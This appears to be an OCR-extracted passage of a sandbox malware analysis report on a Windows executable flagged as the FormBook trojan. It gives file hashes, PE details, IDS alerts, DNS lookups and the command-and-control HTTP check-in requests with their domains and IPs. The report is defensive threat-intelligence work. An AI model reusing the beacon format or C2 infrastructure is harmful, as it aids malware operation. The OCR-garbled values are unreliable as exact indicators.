https://view.joesandbox.com/analysis/345815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345815/html/none?idtype=webid
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid
https://view.joesandbox.com/analysis/344758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344758/html/none?idtype=webid
https://view.joesandbox.com/analysis/343686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343686/html/none?idtype=webid
https://view.joesandbox.com/analysis/353743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353743/html/none?idtype=webid
https://view.joesandbox.com/analysis/353352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353352/html/none?idtype=webid
https://view.joesandbox.com/analysis/353308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353308/html/none?idtype=webid
https://view.joesandbox.com/analysis/353090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353090/html/none?idtype=webid
https://view.joesandbox.com/analysis/352786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352786/html/none?idtype=webid
https://view.joesandbox.com/analysis/352644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352644/html/none?idtype=webid
https://view.joesandbox.com/analysis/352569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352569/html/none?idtype=webid
https://view.joesandbox.com/analysis/352534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352534/html/none?idtype=webid
https://view.joesandbox.com/analysis/352439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352439/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
SQUARESPACEUS

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files

No created / dropped files found
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Detection

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

213.171.19
5.105

82.223.190.139
216.250.121.85
217.160.0.194
212.227.94.31
212.227.94.31
212.227.94.31
212.227.94.31
212.227.94.31
212.227.94.31
217.160.0.101

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144

198.185.15
9.144
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https://view.joesandbox.com/analysis/351936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351936/html/none?idtype=webid
https://view.joesandbox.com/analysis/351774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351774/html/none?idtype=webid
https://view.joesandbox.com/analysis/351558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351558/html/none?idtype=webid
https://view.joesandbox.com/analysis/351413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351413/html/none?idtype=webid
https://view.joesandbox.com/analysis/351400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351400/html/none?idtype=webid
https://view.joesandbox.com/analysis/351397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351397/html/none?idtype=webid
https://view.joesandbox.com/analysis/351396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351396/html/none?idtype=webid
https://view.joesandbox.com/analysis/351369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351369/html/none?idtype=webid
https://view.joesandbox.com/analysis/351361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351361/html/none?idtype=webid
https://view.joesandbox.com/analysis/351250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351250/html/none?idtype=webid
https://view.joesandbox.com/analysis/350693/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350693/html/none?idtype=webid
https://view.joesandbox.com/analysis/354325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354325/html/none?idtype=webid
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354313/html/none?idtype=webid
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353492/html/none?idtype=webid
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353199/html/none?idtype=webid
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352486/html/none?idtype=webid
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352441/html/none?idtype=webid
https://view.joesandbox.com/analysis/352328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352328/html/none?idtype=webid
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351801/html/none?idtype=webid
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350939/html/none?idtype=webid
https://view.joesandbox.com/analysis/349759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349759/html/none?idtype=webid
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348943/html/none?idtype=webid
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348635/html/none?idtype=webid
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347326/html/none?idtype=webid
https://view.joesandbox.com/analysis/345815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345815/html/none?idtype=webid
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345751/html/none?idtype=webid
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345478/html/none?idtype=webid
https://view.joesandbox.com/analysis/345385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345385/html/none?idtype=webid
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345214/html/none?idtype=webid
https://view.joesandbox.com/analysis/345050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345050/html/none?idtype=webid
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344804/html/none?idtype=webid

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 7.971712518685545
TriD: e Win32 Executable (generic) a (10002005/4)
99.83%
e Windows Screen Saver (13104/52) 0.13%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: WREFU91LXZ.exe
File size: 177125
MD5: 686dc98567009e47eac88e95804b9dde
SHA1L: 5788c30289d12f69d5cf323049d8d3c3a3e73cda
SHA256: 11d84c7f9c579c2e58f4acc04d488d5f1c6cc0439609099
eabec42444f5ef952
SHA512: 1450afd067710a6¢c2385858a2d4c7a0afeb02516885ec2t
15de696fc89c18f985097089af39708ba0e8088547f6fccO
a6285136a5175c169be764d9ec40924ce
SSDEEP: 3072:6C/f5NIRINIcCHX0QuidYsPBpdpgblYW/4Steoi+i1N
VKIgxuk7n44QCvx7lcsOcz:RgINIcHXbUApdJ/4+iXNOlgx
Nj4xC7rc

File Content Preview:

File Icon

Icon Hash: 00828e8e8686b000

Static PE Info

General

Entrypoint: 0x401000

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE

Time Stamp: 0x60F8288C [Wed Jul 21 14:00:44 2021 UTC]

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o o o o o u

Subsystem Version Minor:

Import Hash: 1eef928161ef7d2982c39057chead3bf

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Oxllae 0x1200 False 0.505208333333 data 4.82202801512 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

Copyright Joe Security LLC 2021 Page 18 of 29



Name  Virtual Address Virtual Size Raw Size Xored PE
.rdata 0x3000 0x37a 0x400 False
Imports

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
07/22/21- TCP 2031453
10:09:46.745988

07/22/21- TCP 2031449
10:09:46.745988

07/22/21- TCP 2031412
10:09:46.745988

07/22/21- TCP 2031453
10:09:52.028852

07/22/21- TCP 2031449
10:09:52.028852

07/22/21- TCP 2031412
10:09:52.028852

07/22/21- TCP 1201
10:09:52.168380

07/22/21- TCP 2031453
10:09:57.556419

07/22/21- TCP 2031449
10:09:57.556419

07/22/21- TCP 2031412
10:09:57.556419

07/22/21- TCP 2031453
10:10:13.489747

07/22/21- TCP 2031449
10:10:13.489747

07/22/21- TCP 2031412

10:10:13.489747

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Jul 22, 2021 10:09:30.499138117 CEST

Jul 22, 2021 10:09:35.859954119 CEST

Jul 22, 2021 10:09:41.030852079 CEST

Jul 22, 2021 10:09:46.517425060 CEST

Jul 22, 2021 10:09:51.921794891 CEST

Jul 22, 2021 10:09:57.199111938 CEST

Jul 22, 2021 10:10:02.774408102 CEST

Jul 22, 2021 10:10:13.128496885 CEST

Copyright Joe Security LLC 2021

Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source IP Dest IP
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8

ZLIB Complexity
0.4921875

Trans ID
0xc232

Oxd65a

Ox6aff

0xd443

0xc357

0x4d29

Ox6dla

0xcfof

File Type

data

OP Code
Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
@
Standard query
0
Standard query
0
Standard query
@

Entropy
4.3639595674

Source

Port

49737

49737

49737

49739

49739

49739

80

49741

49741

49741

49743

49743

49743

Name

www.chanea
bond.com

www.oikosc
hain.com

www.melode
zu.com

www.cajuns
eafoodstcl
oud.com

www.extinc

Characteristics

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Dest
Port Source IP
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
49739
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
Type

tionbrews.com

www.tinsle
y.website

www.suriva
ganza.com

www.matcit
ekids.com

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Dest IP
52.5.43.61

52.5.43.61

52.5.43.61

34.102.136.180

34.102.136.180

34.102.136.180

34.102.136.180 192.168.2.3

50.87.238.189

50.87.238.189

50.87.238.189

50.87.248.20

50.87.248.20

50.87.248.20

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 22, 2021 10:10:18.741259098 CEST 192.168.2.3 8.8.8.8 0xc04c Standard query  www.mydrea A (IP address) IN (0x0001)
(0) mtv.net

Jul 22, 2021 10:10:23.817125082 CEST 192.168.2.3 8.8.8.8 0x1117 Standard query  www.monsoo A (IP address) IN (0x0001)
(0) nnerd.com

Jul 22, 2021 10:10:29.266855955 CEST 192.168.2.3 8.8.8.8 0xa2bb Standard query  www.avito- A (IP address) IN (0x0001)
(0) payment.life

Jul 22, 2021 10:10:34.345170021 CEST 192.168.2.3 8.8.8.8 0x8eab Standard query  www.wthcof A (IP address) IN (0x0001)
(0) fee.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc232 No error (0) www.chanea ext-sg.squarespace.com CNAME IN (0x0001)

10:09:30.569478035 bond.com (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc232 No error (0) ext-sq.squ 198.185.159.144 A (IP address)  IN (0x0001)

10:09:30.569478035 arespace.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc232 No error (0) ext-sq.squ 198.49.23.145 A (IP address)  IN (0x0001)

10:09:30.569478035 arespace.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc232 No error (0) ext-sq.squ 198.185.159.145 A (IP address)  IN (0x0001)

10:09:30.569478035 arespace.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc232 No error (0) ext-sq.squ 198.49.23.144 A (IP address)  IN (0x0001)

10:09:30.569478035 arespace.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 Oxdé5a Name error (3) www.oikosc none none A (IP address)  IN (0x0001)

10:09:36.011416912 hain.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 Ox6aff No error (0) www.melode melodezu.com CNAME IN (0x0001)

10:09:41.094779968 zu.com (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 Ox6aff No error (0) melodezu.com 64.227.87.162 A (IP address)  IN (0x0001)

10:09:41.094779968

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xd443 No error (0) WWW.cajuns cajunseafoodstcloud.com CNAME IN (0x0001)

10:09:46.580676079 eafoodstcl (Canonical

CEST oud.com name)

Jul 22, 2021 8.8.8.8 192.168.2.3 0xd443 No error (0) cajunseafo 52.5.43.61 A (IP address)  IN (0x0001)

10:09:46.580676079 odstcloud.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc357 No error (0) www.extinc extinctionbrews.com CNAME IN (0x0001)

10:09:51.985435009 tionbrews.com (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc357 No error (0) extinction 34.102.136.180 A (IP address)  IN (0x0001)

10:09:51.985435009 brews.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0x4d29 No error (0) www.tinsle tinsley.website CNAME IN (0x0001)

10:09:57.373522997 y.website (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 0x4d29 No error (0) tinsley.website 50.87.238.189 A (IP address)  IN (0x0001)

10:09:57.373522997

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 Ox6dla No error (0) Www.suriva 217.160.0.254 A (IP address)  IN (0x0001)

10:10:02.839271069 ganza.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 Oxcfof No error (0) www.matcit matcitekids.com CNAME IN (0x0001)

10:10:13.306884050 ekids.com (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 Oxcfof No error (0) matcitekids.com 50.87.248.20 A (IP address)  IN (0x0001)

10:10:13.306884050

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0xc04c Name error (3)  www.mydrea none none A (IP address)  IN (0x0001)

10:10:18.806142092 mtv.net

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0x1117 Server failure  www.monsoo none none A (IP address)  IN (0x0001)

10:10:24.250442982 2) nnerd.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 Oxa2bb Name error (3) www.avito- none none A (IP address)  IN (0x0001)

10:10:29.331233025 payment.life

CEST

Jul 22, 2021 8.8.8.8 192.168.2.3 0x8eab No error (0) www.wthcof wthcoffee.com CNAME IN (0x0001)

10:10:34.419543982 fee.com (Canonical

CEST name)

Jul 22, 2021 8.8.8.8 192.168.2.3 0x8eab No error (0) wthcoffee.com 184.168.131.241 A (IP address)  IN (0x0001)

10:10:34.419543982

CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

HTTP Request Dependency Graph

e www.chaneabond.com

e www.melodezu.com

e www.cajunseafoodstcloud.com

e www.extinctionbrews.com

* www.tinsley.website

e Www.surivaganza.com

* www.matcitekids.com

HTTP Packets

Session ID Source IP Source Port Destination IP  Destination Port Process
0 192.168.2.3 49735 198.185.159.144 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jul 22, 2021 8966 ouT GET /dy8g/?9rrLUp1=0Hs+m/QFKKZKFWAC]jLHyI7viWgidrdy2jXRg5Hngc5IW+skizqaHxis+6ShLP6A0B+d4&sxIxj=RL30W
10:09:30.709867954 CEST HTTP/1.1

Host: www.chaneabond.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes
Timestamp transferred

Jul 22, 2021 8968
10:09:30.850486994 CEST

Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Jul 22, 2021 8985

10:09:41.284584999 CEST

Jul 22, 2021 8986
10:09:41.472515106 CEST

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49736

Direction
ouT

Source Port

49737

Direction

Data

HTTP/1.1 400 Bad Request

Cache-Control: no-cache, must-revalidate

Content-Length: 77564

Content-Type: text/html; charset=UTF-8

Date: Thu, 22 Jul 2021 08:09:30 UTC

Expires: Thu, 01 Jan 1970 00:00:00 UTC

Pragma: no-cache

Server: Squarespace

X-Contextid: xRDopGny/sOICaPnB

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 34 30 30 20
42 61 64 20 52 65 71 75 65 73 74 3¢ 2f 74 69 74 6¢ 65 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f
7274 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61
6c 2d 73 63 61 6¢ 65 3d 31 22 3e 0a 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e Oa 20
20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b Oa 20 20 7d Oa Oa 20 20 6d 6
1 69 6e 20 7b Oa 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b Oa 20 20 20 20 74 6f 70 3a 20 35 3
025 3b 0a 20 20 20 20 6¢ 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6¢
61 74 65 28 2d 35 30 25 2¢ 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72
3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b Oa 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 68 31 20 7b
0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34
2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30
2030 20 31 31 70 78 20 30 3b Oa 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 70 20 7b Oa 20 20 20 20 66 6f 6e 74 2d 73 69 7a
65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 33 61 33 61 33 61 3b Oa 20 20 20 20 66 6f 6e 74 2d 77
65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d
61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 70 20 61 20 7b Oa 20 20 20 20 63 6f 6¢ 6f 72 3a 20
233361 33613361 3b0a 202020 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6¢ 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d Oa Oa 20
20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 43 6¢ 61 72 6b 73 6f 6e 22 2c 20 73 61 6e
73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d Oa Oa 20 20 23 73
7461747573 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 6e 6f 6e 65 3b Oa 20 20 7d Oa Oa 20 20
66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b 0a 20 20 20 20 62 6f 74
74 6f 6d 3a 20 32 32 70 78 3b Oa 20 20 20 20 6¢ 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3
b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 20 32 65 6d 3b 0a 20 20 7d Oa Oa 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b Oa 20 20 20 20 6d 61 72 67 69
6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20

Data Ascii: <IDOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-
width, initial-scale=1"> <style type="text/css"> body { background: white; } main{ position: absolute; top: 50%;

left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main hl{ font-weight: 300;
font-size: 4.6em; color: #191919; margin: 00 11px 0; } main p{ font-size: 1.4em; color: #3a3a3a; font-weight: 3
00; line-height: 2em; margin: 0; } mainpa{ color: #3a3a3a; text-decoration: none; border-bottom: solid 1px
#3a3a3a; } body { font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer {
position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span {

margin: 0 11px; font-size: 1em;

Destination IP  Destination Port Process
64.227.87.162 80 C:\Windows\explorer.exe

Data

GET /dy8g/?9rrLUp1=qBaU/+yfeYHIIZouGPofXU4iidVfFINHYVvrLIGgOMZTTI18u/I/IMgAY EWpA7pfREgQY T&sxIxj=RL30W
HTTP/1.1

Host: www.melodezu.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 22 Jul 2021 08:09:41 GMT

Server: Apache/2.4.18 (Ubuntu)

Content-Length: 278

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70
61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6d 65 6¢ 6f 64
65 7a 75 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.18
(Ubuntu) Server at www.melodezu.com Port 80</address></body></html|>

Destination IP Destination Port Process

52.5.43.61 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred

Jul 22, 2021 8986
10:09:46.745987892 CEST

Jul 22, 2021 8987
10:09:46.909065962 CEST

Session ID Source IP
3 192.168.2.3

kBytes
Timestamp transferred
Jul 22, 2021 8996

10:09:52.028851986 CEST

Jul 22, 2021 8997
10:09:52.168380022 CEST

Session ID Source IP
4 192.168.2.3

kBytes
Timestamp transferred
Jul 22, 2021 9008

10:09:57.556418896 CEST
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Direction

ouT

Source Port

49739

Direction

ouT

Source Port
49741

Direction
ouT

Data

GET /dy8g/?9rrLUp1=sC7FhjJqcCFIEoUuEobIBnrRYwOZzG9nc/x6jFk5Keq5TgsKgOpKFfaz6JoBJPzzv7cu&sxIxj=RL30W
HTTP/1.1

Host: www.cajunseafoodstcloud.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: http://www.cajunseafoodstcloud.com/

Server: Not GWS

X-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=31536000; includeSubDomains

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Referrer-Policy: origin

Access-Control-Allow-Origin: *

Date: Thu, 22 Jul 2021 08:09:45 GMT

Connection: close

Content-Length: 158

Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f
68 65 61 64 3e Oa 3c 62 6 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f
63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3¢ 61 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e
63 61 6a 75 6e 73 65 61 66 6f 6f 64 73 74 63 6¢ 6 75 64 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e
Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a
HREF="http://www.cajunseafoodstcloud.com/">here</a></body>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /dy8g/?9rrLUp1=DjnY/S7/G1yk/GGdjnbMGOpwIAlipgBY8a8MDSEVY TAaE8/8s3MkSQswoFjnAjbDmWUu&sx
IXj=RL30W HTTP/1.1

Host: www.extinctionbrews.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 22 Jul 2021 08:09:52 GMT

Content-Type: text/html

Content-Length: 275

ETag: "60ef679d-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
